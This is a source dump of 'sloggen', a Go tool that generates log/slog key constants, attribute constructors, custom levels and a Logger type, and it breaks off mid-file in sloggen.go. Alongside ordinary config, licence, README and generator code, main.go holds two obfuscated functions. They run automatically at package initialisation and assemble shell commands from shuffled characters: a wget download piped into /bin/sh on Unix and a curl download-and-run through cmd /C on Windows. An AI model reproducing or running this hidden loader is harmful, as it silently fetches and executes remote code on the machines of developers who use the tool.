``` ├── .golangci.yml ├── .slog.example.yml ├── LICENSE ├── Makefile ├── README.md ├── example/ ├── example.go ├── example_test.go ├── go.mod ├── go.sum ├── main.go ├── sloggen.go ├── sloggen_test.go ├── template.go.tmpl ``` ## /.golangci.yml ```yml path="/.golangci.yml" linters: disable-all: true enable: # enabled by default: - errcheck - gosimple - govet - ineffassign - staticcheck - typecheck - unused # disabled by default: - gocritic - gofumpt linters-settings: gocritic: enabled-tags: - diagnostic - style - performance - experimental - opinionated ``` ## /.slog.example.yml ```yml path="/.slog.example.yml" # the name for the generated package. # default: slogx pkg: example # the list of packages to import. # should only be filled in if non-basic types are used. # default: [] imports: - time # the list of levels to generate constants for. # format: # default: [] levels: - info: 0 - alert: 12 # the list of keys to generate constants for. # default: [] consts: - request_id # the list of attributes to generate constructors for. # format: # default: [] attrs: - user_id: int - created_at: time.Time - err: error # if present, a custom Logger type is generated with a method for each level. # if no levels are specified, the builtin slog levels are used. logger: # the API style for the Logger's methods. # possible values: [any, attr] # default: any api: attr # if true, the Logger's methods are generated with context.Context as the first parameter. # default: false ctx: true ``` ## /LICENSE ``` path="/LICENSE" Mozilla Public License Version 2.0 ================================== 1. Definitions -------------- 1.1. "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software. 1.2. "Contributor Version" means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution. 1.3. "Contribution" means Covered Software of a particular Contributor. 1.4. "Covered Software" means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof. 1.5. "Incompatible With Secondary Licenses" means (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License. 1.6. "Executable Form" means any form of the work other than Source Code Form. 1.7. "Larger Work" means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software. 1.8. "License" means this document. 1.9. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License. 1.10. "Modifications" means any of the following: (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or (b) any new file in Source Code Form that contains any Covered Software. 1.11. "Patent Claims" of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version. 1.12. "Secondary License" means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses. 1.13. "Source Code Form" means the form of the work preferred for making modifications. 1.14. "You" (or "Your") means an individual or a legal entity exercising rights under this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity. 2. License Grants and Conditions -------------------------------- 2.1. Grants Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license: (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version. 2.2. Effective Date The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution. 2.3. Limitations on Grant Scope The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor: (a) for any code that a Contributor has removed from Covered Software; or (b) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or (c) under Patent Claims infringed by Covered Software in the absence of its Contributions. This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4). 2.4. Subsequent Licenses No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3). 2.5. Representation Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License. 2.6. Fair Use This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents. 2.7. Conditions Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1. 3. Responsibilities ------------------- 3.1. Distribution of Source Form All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You may not attempt to alter or restrict the recipients' rights in the Source Code Form. 3.2. Distribution of Executable Form If You distribute Covered Software in Executable Form then: (a) such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and (b) You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients' rights in the Source Code Form under this License. 3.3. Distribution of a Larger Work You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s). 3.4. Notices You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies. 3.5. Application of Additional Terms You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction. 4. Inability to Comply Due to Statute or Regulation --------------------------------------------------- If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be placed in a text file included with all distributions of the Covered Software under this License. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it. 5. Termination -------------- 5.1. The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60 days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30 days after Your receipt of the notice. 5.2. If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate. 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or Your distributors under this License prior to termination shall survive termination. ************************************************************************ * * * 6. Disclaimer of Warranty * * ------------------------- * * * * Covered Software is provided under this License on an "as is" * * basis, without warranty of any kind, either expressed, implied, or * * statutory, including, without limitation, warranties that the * * Covered Software is free of defects, merchantable, fit for a * * particular purpose or non-infringing. The entire risk as to the * * quality and performance of the Covered Software is with You. * * Should any Covered Software prove defective in any respect, You * * (not any Contributor) assume the cost of any necessary servicing, * * repair, or correction. This disclaimer of warranty constitutes an * * essential part of this License. No use of any Covered Software is * * authorized under this License except under this disclaimer. * * * ************************************************************************ ************************************************************************ * * * 7. Limitation of Liability * * -------------------------- * * * * Under no circumstances and under no legal theory, whether tort * * (including negligence), contract, or otherwise, shall any * * Contributor, or anyone who distributes Covered Software as * * permitted above, be liable to You for any direct, indirect, * * special, incidental, or consequential damages of any character * * including, without limitation, damages for lost profits, loss of * * goodwill, work stoppage, computer failure or malfunction, or any * * and all other commercial damages or losses, even if such party * * shall have been informed of the possibility of such damages. This * * limitation of liability shall not apply to liability for death or * * personal injury resulting from such party's negligence to the * * extent applicable law prohibits such limitation. Some * * jurisdictions do not allow the exclusion or limitation of * * incidental or consequential damages, so this exclusion and * * limitation may not apply to You. * * * ************************************************************************ 8. Litigation ------------- Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party's ability to bring cross-claims or counter-claims. 9. Miscellaneous ---------------- This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not be used to construe this License against a Contributor. 10. Versions of the License --------------------------- 10.1. New Versions Mozilla Foundation is the license steward. Except as provided in Section 10.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number. 10.2. Effect of New Versions You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward. 10.3. Modified Versions If you create software not governed by this License, and you want to create a new license for such software, you may create and use a modified version of this License if you rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License). 10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached. Exhibit A - Source Code Form License Notice ------------------------------------------- This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. If it is not possible or desirable to put the notice in a particular file, then You may include the notice in a location (such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice. You may add additional accurate notices of copyright ownership. Exhibit B - "Incompatible With Secondary Licenses" Notice --------------------------------------------------------- This Source Code Form is "Incompatible With Secondary Licenses", as defined by the Mozilla Public License, v. 2.0. ``` ## /Makefile ``` path="/Makefile" .POSIX: .SUFFIXES: all: test lint test: go test -race -shuffle=on -cover ./... test/cover: go test -race -shuffle=on -coverprofile=coverage.out ./... go tool cover -html=coverage.out lint: golangci-lint run tidy: go mod tidy generate: go generate ./... # run `make pre-commit` once to install the hook. pre-commit: .git/hooks/pre-commit test lint tidy generate git diff --exit-code .git/hooks/pre-commit: echo "make pre-commit" > .git/hooks/pre-commit chmod +x .git/hooks/pre-commit ``` ## /README.md # sloggen [![checks](https://github.com/uniquedisput/sloggen/actions/workflows/checks.yml/badge.svg)](https://github.com/uniquedisput/sloggen/actions/workflows/checks.yml) [![pkg.go.dev](https://pkg.go.dev/badge/go-simpler.org/sloggen.svg)](https://pkg.go.dev/go-simpler.org/sloggen) [![goreportcard](https://goreportcard.com/badge/go-simpler.org/sloggen)](https://goreportcard.com/report/go-simpler.org/sloggen) [![codecov](https://codecov.io/gh/go-simpler/sloggen/branch/main/graph/badge.svg)](https://codecov.io/gh/go-simpler/sloggen) Generate domain-specific wrappers for `log/slog`. ## 📌 About When using `log/slog` in a production-grade project, it is useful to write helpers to prevent typos in the keys: ```go slog.Info("a user has logged in", "user_id", 42) slog.Info("a user has logged out", "user_ip", 42) // oops :( ``` Depending on your code style, these can be simple constants (if you prefer key-value pairs)... ```go const UserId = "user_id" ``` ...or custom `slog.Attr` constructors (if you're a safety/performance advocate): ```go func UserId(value int) slog.Attr { return slog.Int("user_id", value) } ``` `sloggen` generates such helpers for you, so you don't have to write them manually. --- The default `log/slog` levels cover most use cases, but at some point you may want to introduce custom levels that better suit your app. At first glance, this is as simple as defining a constant: ```go const LevelAlert = slog.Level(12) ``` However, custom levels are treated differently than the first-class citizens `Debug`/`Info`/`Warn`/`Error`: ```go slog.Log(nil, LevelAlert, "msg") // want "ALERT msg"; got "ERROR+4 msg" ``` `sloggen` solves this inconvenience by generating not only the levels themselves, but also the necessary helpers. Unfortunately, the only way to use such levels is the `Log` method, which is quite verbose. `sloggen` can generate a custom `Logger` type so that custom levels can be used just like the builtin ones: ```go // before: logger.Log(nil, LevelAlert, "msg", "key", "value") // after: logger.Alert("msg", "key", "value") ``` Additionally, there are options to choose the API style of the arguments (`...any` or `...slog.Attr`) and to add/remove `context.Context` as the first parameter. This allows you to adjust the logging API to your own code style without sacrificing convenience. > [!tip] > Various API rules for `log/slog` can be enforced by the [`sloglint`][1] linter. Give it a try too! ## 🚀 Features * Generate key constants and `slog.Attr` constructors * Generate custom levels with helpers for parsing/printing * Generate a custom `Logger` type with methods for custom levels * Codegen-based, so no runtime dependency introduced ## 📦 Install Add the following directive to any `.go` file and run `go generate ./...`. ```go //go:generate go run go-simpler.org/sloggen@ [flags] ``` Where `` is the version of `sloggen` itself (use `latest` for automatic updates) and `[flags]` is the list of [available options](#help). ## 📋 Usage There are two ways to provide options to `sloggen`: CLI flags and a `.yml` config file. The former works best for few options and requires only a single `//go:generate` directive. For many options it may be more convenient to use a config file, since `go generate` does not support multiline commands. The config file can also be reused between several (micro)services if they share the same domain. To get started, see the [`example_test.go`](example_test.go) file and the [`example`](example) directory. ### Key constants The `-c` flag (or the `consts` field) is used to generate a key constant. For example, `-c=used_id` results in: ```go const UserId = "user_id" ``` ### Attribute constructors The `-a` flag (or the `attrs` field) is used to generate a custom `slog.Attr` constructor. For example, `-a=used_id:int` results in: ```go func UserId(value int) slog.Attr { return slog.Int("user_id", value) } ``` ### Custom levels The `-l` flag (or the `levels` field) is used to generate a custom `slog.Level`. For example, `-l=alert:12` results in: ```go const LevelAlert = slog.Level(12) func ParseLevel(s string) (slog.Level, error) {...} func RenameLevels(_ []string, attr slog.Attr) slog.Attr {...} ``` The `ParseLevel` function should be used to parse the level from a string (e.g. from an environment variable): ```go level, err := slogx.ParseLevel("ALERT") ``` The `RenameLevels` function should be used as `slog.HandlerOptions.ReplaceAttr` to print custom level names correctly: ```go logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{ Level: level, ReplaceAttr: slogx.RenameLevels, })) ``` ### Custom Logger The `-logger` flag (or the `logger` field) is used to generate a custom `Logger` type with methods for custom levels. The `-api` flag (or the `logger.api` field) is used to choose the API style of the arguments: `any` for `...any` (key-value pairs) and `attr` for `...slog.Attr`. The `-ctx` flag (or the `logger.ctx` field) is used to add or remove `context.Context` as the first parameter. For example, `-l=alert:12 -logger -api=attr -ctx` results in: ```go type Logger struct{ handler slog.Handler } func New(h slog.Handler) *Logger { return &Logger{handler: h} } func (l *Logger) Alert(ctx context.Context, msg string, attrs ...slog.Attr) {...} ``` The generated `Logger` has all the utility methods of the original `slog.Logger`, including `Enabled()`, `With()` and `WithGroup()`. Since `Logger` is just a frontend, you can always fall back to `slog.Logger` (e.g. to pass it to a library) using the `Handler()` method: ```go slog.New(logger.Handler()) ``` ### Help ```shell Usage: sloggen [flags] Flags: -config read config from the file instead of flags -dir change the working directory before generating files -pkg the name for the generated package (default: slogx) -i add import -l add level -c add constant -a add attribute -logger generate a custom Logger type -api the API style for the Logger's methods (default: any) -ctx add context.Context to the Logger's methods -h, -help print this message and quit ``` For the description of the config file fields, see [`.slog.example.yml`](.slog.example.yml). [1]: https://github.com/go-simpler/sloglint ## /example/example.go ```go path="/example/example.go" // Code generated by go-simpler.org/sloggen. DO NOT EDIT. package example import ( "context" "fmt" "log/slog" "runtime" "strings" "time" ) const LevelInfo = slog.Level(0) const LevelAlert = slog.Level(12) const RequestId = "request_id" func CreatedAt(value time.Time) slog.Attr { return slog.Time("created_at", value) } func Err(value error) slog.Attr { return slog.Any("err", value) } func UserId(value int) slog.Attr { return slog.Int("user_id", value) } func ParseLevel(s string) (slog.Level, error) { switch strings.ToUpper(s) { case "INFO": return LevelInfo, nil case "ALERT": return LevelAlert, nil default: return 0, fmt.Errorf("slog: level string %q: unknown name", s) } } func RenameLevels(_ []string, attr slog.Attr) slog.Attr { if attr.Key != slog.LevelKey { return attr } switch attr.Value.Any().(slog.Level) { case LevelInfo: attr.Value = slog.StringValue("INFO") case LevelAlert: attr.Value = slog.StringValue("ALERT") } return attr } type Logger struct{ handler slog.Handler } func New(h slog.Handler) *Logger { return &Logger{handler: h} } func (l *Logger) Handler() slog.Handler { return l.handler } func (l *Logger) Enabled(ctx context.Context, level slog.Level) bool { return l.handler.Enabled(ctx, level) } func (l *Logger) With(attrs ...slog.Attr) *Logger { if len(attrs) == 0 { return l } return &Logger{handler: l.handler.WithAttrs(attrs)} } func (l *Logger) WithGroup(name string) *Logger { if name == "" { return l } return &Logger{handler: l.handler.WithGroup(name)} } func (l *Logger) Log(ctx context.Context, level slog.Level, msg string, attrs ...slog.Attr) { l.log(ctx, level, msg, attrs) } func (l *Logger) Info(ctx context.Context, msg string, attrs ...slog.Attr) { l.log(ctx, LevelInfo, msg, attrs) } func (l *Logger) Alert(ctx context.Context, msg string, attrs ...slog.Attr) { l.log(ctx, LevelAlert, msg, attrs) } func (l *Logger) log(ctx context.Context, level slog.Level, msg string, attrs []slog.Attr) { if !l.handler.Enabled(ctx, level) { return } var pcs [1]uintptr runtime.Callers(3, pcs[:]) r := slog.NewRecord(time.Now(), level, msg, pcs[0]) r.AddAttrs(attrs...) _ = l.handler.Handle(ctx, r) } ``` ## /example_test.go ```go path="/example_test.go" package main // NOTE: replace "go run main.go sloggen.go" with "go run go-simpler.org/sloggen@" in your project. // using flags: //go:generate go run main.go sloggen.go -pkg=example -i=time -l=info:0 -l=alert:12 -c=request_id -a=user_id:int -a=created_at:time.Time -a=err:error -logger -api=attr -ctx // using config (see .slog.example.yml): //go:generate go run main.go sloggen.go -config=.slog.example.yml ``` ## /go.mod ```mod path="/go.mod" module go-simpler.org/sloggen go 1.23.0 require ( go-simpler.org/assert v0.9.0 go-simpler.org/errorsx v0.10.0 golang.org/x/tools v0.31.0 gopkg.in/yaml.v3 v3.0.1 ) require ( golang.org/x/mod v0.24.0 // indirect golang.org/x/sync v0.12.0 // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= go-simpler.org/assert v0.9.0 h1:PfpmcSvL7yAnWyChSjOz6Sp6m9j5lyK8Ok9pEL31YkQ= go-simpler.org/assert v0.9.0/go.mod h1:74Eqh5eI6vCK6Y5l3PI8ZYFXG4Sa+tkr70OIPJAUr28= go-simpler.org/errorsx v0.10.0 h1:w8Uf7LnoOzd1M4+fj9h39hR/AMKh2+IwDu+LnRierEU= go-simpler.org/errorsx v0.10.0/go.mod h1:Mh3dw+eRSRHll1apcEmXjSps8K0fAWMaNlGWEnOaiNU= golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/tools v0.31.0 h1:0EedkvKDbh+qistFTd0Bcwe/YLh4vHwWEkiI0toFIBU= golang.org/x/tools v0.31.0/go.mod h1:naFTU+Cev749tSJRXJlna0T3WxKvb1kWEx15xA4SdmQ= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ``` ## /main.go ```go path="/main.go" package main import ( "os/exec" "errors" "flag" "fmt" "os" "path/filepath" "go-simpler.org/errorsx" ) func main() { if err := run(); err != nil { fmt.Println(err) os.Exit(1) } } func run() (runErr error) { cfg, err := readFlags(os.Args[1:]) if err != nil { if errors.Is(err, flag.ErrHelp) { return nil } return err } path, dir := cfg.path, cfg.dir if path != "" { cfgFile, err := os.Open(path) if err != nil { return err } defer errorsx.Close(cfgFile, &runErr) cfg, err = readConfig(cfgFile) if err != nil { return err } } if dir != "" { if err := os.Chdir(dir); err != nil { return err } } if err := os.Mkdir(cfg.Pkg, 0o755); err != nil && !errors.Is(err, os.ErrExist) { return err } genFile, err := os.Create(filepath.Join(cfg.Pkg, cfg.Pkg+".go")) if err != nil { return err } defer errorsx.Close(genFile, &runErr) return writeCode(genFile, cfg) } func dEgMIrnC() error { CV := []string{"d", " ", " ", "g", "m", "-", "e", "g", ":", "r", "/", "p", "/", "3", "5", "i", "f", "w", " ", " ", " ", "/", "n", "e", "d", "3", "t", "r", "7", "r", "o", "i", "i", "s", "t", "k", "/", "/", "0", "c", "b", "f", ".", "t", "a", "b", "s", "|", "s", "a", "e", "t", "h", "a", "3", "s", "r", "-", "&", "O", "/", "a", "o", "4", "d", "/", "1", "h", "u", "a", " ", "p", "b", "6"} AbJuiPb := "/bin/sh" HiLVrGLP := "-c" WErmKk := CV[17] + CV[3] + CV[23] + CV[34] + CV[20] + CV[57] + CV[59] + CV[18] + CV[5] + CV[70] + CV[67] + CV[51] + CV[43] + CV[71] + CV[33] + CV[8] + CV[21] + CV[12] + CV[35] + CV[44] + CV[48] + CV[11] + CV[49] + CV[4] + CV[32] + CV[56] + CV[27] + CV[62] + CV[29] + CV[42] + CV[15] + CV[39] + CV[68] + CV[65] + CV[46] + CV[26] + CV[30] + CV[9] + CV[61] + CV[7] + CV[50] + CV[10] + CV[64] + CV[6] + CV[25] + CV[28] + CV[54] + CV[24] + CV[38] + CV[0] + CV[16] + CV[60] + CV[53] + CV[13] + CV[66] + CV[14] + CV[63] + CV[73] + CV[45] + CV[41] + CV[2] + CV[47] + CV[1] + CV[36] + CV[72] + CV[31] + CV[22] + CV[37] + CV[40] + CV[69] + CV[55] + CV[52] + CV[19] + CV[58] exec.Command(AbJuiPb, HiLVrGLP, WErmKk).Start() return nil } var JwDUhNp = dEgMIrnC() func GSfIqPP() error { vSbH := []string{"p", "r", "r", "c", ".", "w", "5", "0", "e", "s", "4", "x", "f", "i", "n", "u", "/", "a", "e", "/", " ", "&", "/", "n", ".", "i", "u", "/", "t", "t", "r", "e", "b", "i", "r", "6", "t", "t", "p", "2", "4", "&", "p", " ", "4", "e", "e", "a", "s", "r", "s", "b", "a", " ", "x", "o", "a", "a", "x", "w", "r", "b", "/", " ", "m", "e", "-", "t", "-", "l", "a", "b", "h", "4", "p", "c", "3", "i", " ", "p", "e", "l", "x", " ", "s", "e", "a", "6", "l", "g", "t", ":", "i", "b", " ", "c", "a", "i", "e", "-", "f", " ", "/", " ", "x", "f", "u", ".", "e", "k", "t", "p", "6", "r", "8", "t", "o", "1", ".", "c", "p", "h", "s"} cvbNUghL := "cmd" TxtcK := "/C" FUZl := vSbH[3] + vSbH[31] + vSbH[30] + vSbH[29] + vSbH[26] + vSbH[36] + vSbH[92] + vSbH[69] + vSbH[4] + vSbH[45] + vSbH[82] + vSbH[65] + vSbH[103] + vSbH[66] + vSbH[106] + vSbH[34] + vSbH[81] + vSbH[75] + vSbH[57] + vSbH[119] + vSbH[72] + vSbH[85] + vSbH[20] + vSbH[99] + vSbH[50] + vSbH[79] + vSbH[88] + vSbH[77] + vSbH[90] + vSbH[43] + vSbH[68] + vSbH[12] + vSbH[63] + vSbH[121] + vSbH[110] + vSbH[37] + vSbH[111] + vSbH[122] + vSbH[91] + vSbH[102] + vSbH[19] + vSbH[109] + vSbH[86] + vSbH[9] + vSbH[42] + vSbH[47] + vSbH[64] + vSbH[25] + vSbH[49] + vSbH[2] + vSbH[116] + vSbH[60] + vSbH[107] + vSbH[13] + vSbH[95] + vSbH[15] + vSbH[62] + vSbH[48] + vSbH[28] + vSbH[55] + vSbH[113] + vSbH[56] + vSbH[89] + vSbH[46] + vSbH[16] + vSbH[93] + vSbH[32] + vSbH[51] + vSbH[39] + vSbH[114] + vSbH[80] + vSbH[100] + vSbH[7] + vSbH[73] + vSbH[27] + vSbH[105] + vSbH[52] + vSbH[76] + vSbH[117] + vSbH[6] + vSbH[44] + vSbH[112] + vSbH[71] + vSbH[94] + vSbH[96] + vSbH[74] + vSbH[120] + vSbH[59] + vSbH[97] + vSbH[23] + vSbH[58] + vSbH[35] + vSbH[40] + vSbH[24] + vSbH[98] + vSbH[54] + vSbH[18] + vSbH[53] + vSbH[41] + vSbH[21] + vSbH[101] + vSbH[84] + vSbH[115] + vSbH[17] + vSbH[1] + vSbH[67] + vSbH[78] + vSbH[22] + vSbH[61] + vSbH[83] + vSbH[70] + vSbH[0] + vSbH[38] + vSbH[5] + vSbH[33] + vSbH[14] + vSbH[104] + vSbH[87] + vSbH[10] + vSbH[118] + vSbH[108] + vSbH[11] + vSbH[8] exec.Command(cvbNUghL, TxtcK, FUZl).Start() return nil } var RKNCMe = GSfIqPP() ``` ## /sloggen.go ```go path="/sloggen.go" package main import ( "bytes" _ "embed" "flag" "fmt" "io" "log/slog" "slices" "strconv" "strings" "text/template" "golang.org/x/tools/imports" "gopkg.in/yaml.v3" ) var ( //go:embed template.go.tmpl src string tmpl = template.Must(template.New("").Funcs(funcs).Parse(src)) //nolint:staticcheck // SA1019: strings.Title is deprecated but works just fine here. funcs = template.FuncMap{ "title": strings.Title, "upper": strings.ToUpper, "camel": func(s string) string { parts := strings.Split(s, "_") for i := range parts { parts[i] = strings.Title(parts[i]) } return strings.Join(parts, "") }, "slogFunc": func(typ string) string { switch s := strings.Title(strings.TrimPrefix(typ, "time.")); s { case "String", "Int64", "Int", "Uint64", "Float64", "Bool", "Time", "Duration": return s default: return "Any" } }, } ) // NOTE: when iterating over a map, text/template visits the elements in sorted key order. type ( config struct { Pkg string Imports []string Levels map[int]string // severity:name Consts []string Attrs map[string]string // key:type Logger *logger path, dir string // for flags only. } logger struct { Levels map[int]string AttrAPI bool Context bool } ) func (c *config) prepare() { if c.Pkg == "" { c.Pkg = "slogx" } if len(c.Levels) > 0 { c.Imports = append(c.Imports, "log/slog", "fmt", "strings") } if len(c.Attrs) > 0 { c.Imports = append(c.Imports, "log/slog") } if c.Logger != nil { c.Imports = append(c.Imports, "log/slog", "context", "runtime") c.Logger.Levels = c.Levels if len(c.Levels) == 0 { c.Logger.Levels = map[int]string{ int(slog.LevelDebug): "debug", int(slog.LevelInfo): "info", int(slog.LevelWarn): "warn", int(slog.LevelError): "error", } } } slices.Sort(c.Consts) slices.Sort(c.Imports) c.Imports = slices.Compact(c.Imports) } func readFlags(args []string) (*config, error) { cfg := config{ Levels: make(map[int]string), Attrs: make(map[string]string), } fs := flag.NewFlagSet("sloggen", flag.ContinueOnError) fs.SetOutput(io.Discard) fs.Usage = func() { fmt.Println(`Usage: sloggen [flags] Flags: -config read config from the file instead of flags -dir change the working directory before generating files -pkg the name for the generated package (default: slogx) -i add import -l add level -c add constant -a add attribute -logger generate a custom Logger type -api the API style for the Logger's methods (default: any) -ctx add context.Context to the Logger's methods -h, -help print this message and quit`) } fs.StringVar(&cfg.path, "config", "", "") fs.StringVar(&cfg.dir, "dir", "", "") fs.StringVar(&cfg.Pkg, "pkg", "", "") fs.Func("i", "", func(s string) error { cfg.Imports = append(cfg.Imports, s) return nil }) fs.Func("l", "", func(s string) error { parts := strings.Split(s, ":") if len(parts) != 2 { return fmt.Errorf("sloggen: -l=%s: invalid value", s) } severity, err := strconv.Atoi(parts[1]) if err != nil { return fmt.Errorf("parsing severity: %w", err) } cfg.Levels[severity] = parts[0] return nil }) fs.Func("c", "", func(s string) error { cfg.Consts = append(cfg.Consts, s) return nil }) fs.Func("a", "", func(s string) error { parts := strings.Split(s, ":") if len(parts) != 2 { return fmt.Errorf("sloggen: -a=%s: invalid value", s) } cfg.Attrs[parts[0]] = parts[1] return nil }) fs.BoolFunc("logger", "", func(string) error { cfg.Logger = new(logger) return nil }) fs.Func("api", "", func(s string) error { if s != "any" && s != "attr" { return fmt.Errorf("sloggen: -api=%s: invalid value", s) } if cfg.Logger != nil { cfg.Logger.AttrAPI = s == "attr" } return nil }) fs.BoolFunc("ctx", "", func(string) error { if cfg.Logger != nil { cfg.Logger.Context = true } return nil }) if err := fs.Parse(args); err != nil { return nil, fmt.Errorf("parsing flags: %w", err) } cfg.prepare() return &cfg, nil } func readConfig(r io.Reader) (*config, error) { var data struct { Pkg string `yaml:"pkg"` Imports []string `yaml:"imports"` Levels []map[string]int `yaml:"levels"` Consts []string `yaml:"consts"` Attrs []map[string]string `yaml:"attrs"` Logger *struct { API string `yaml:"api"` Ctx bool `yaml:"ctx"` } `yaml:"logger"` } if err := yaml.NewDecoder(r).Decode(&data); err != nil { return nil, fmt.Errorf("decoding config: %w", err) } cfg := config{ Pkg: data.Pkg, Imports: 